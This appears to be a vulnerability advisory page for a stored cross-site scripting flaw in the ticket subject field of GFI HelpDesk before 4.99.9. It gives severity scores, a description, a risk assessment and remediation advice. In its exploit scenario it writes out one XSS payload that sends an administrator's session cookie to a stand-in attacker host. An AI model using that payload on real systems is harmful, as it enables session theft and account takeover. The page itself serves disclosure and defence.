EUVD-2026-23910
GHSA-rf6c-2qc7-c945
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
6DescriptionCVE.org
GFI HelpDesk before 4.99.9 contains a stored cross-site scripting vulnerability in the ticket subject field that allows authenticated staff members to inject malicious JavaScript by manipulating the editsubject POST parameter. Attackers can inject XSS payloads through inadequate sanitization in Controller_Ticket.EditSubmit() that bypass the incomplete SanitizeForXSS() method to execute arbitrary JavaScript when other staff members or administrators view the affected ticket.
AnalysisAI
GFI HelpDesk before version 4.99.9 allows authenticated staff members to inject persistent JavaScript into ticket subject fields via inadequate sanitization in the editsubject POST parameter, enabling arbitrary script execution when other staff or administrators view affected tickets. The vulnerability impacts confidentiality and integrity within the application's scope, with exploitation confirmed possible but requiring valid staff credentials and user interaction (viewing the malicious ticket). …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires an authenticated staff member account with permission to edit ticket subject fields (the standard GFI HelpDesk staff role). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | This vulnerability presents moderate real-world risk constrained by multiple factors. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | A disgruntled helpdesk staff member with valid credentials creates a support ticket, then edits the subject line to inject a JavaScript payload such as '<img src=x onerror="fetch('http://attacker.com/steal?cookie='+document.cookie)">'. When an administrator reviews the ticket, the payload executes in the administrator's browser context, stealing the administrator's session cookie and allowing the attacker to impersonate the administrator account. … |
| Remediation | Upgrade GFI HelpDesk to version 4.99.9 or later immediately to obtain the vendor-released patch that corrects the inadequate sanitization in the editsubject parameter handling. … Detailed patch versions, workarounds, and compensating controls in full report. |
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External POC / Exploit Code
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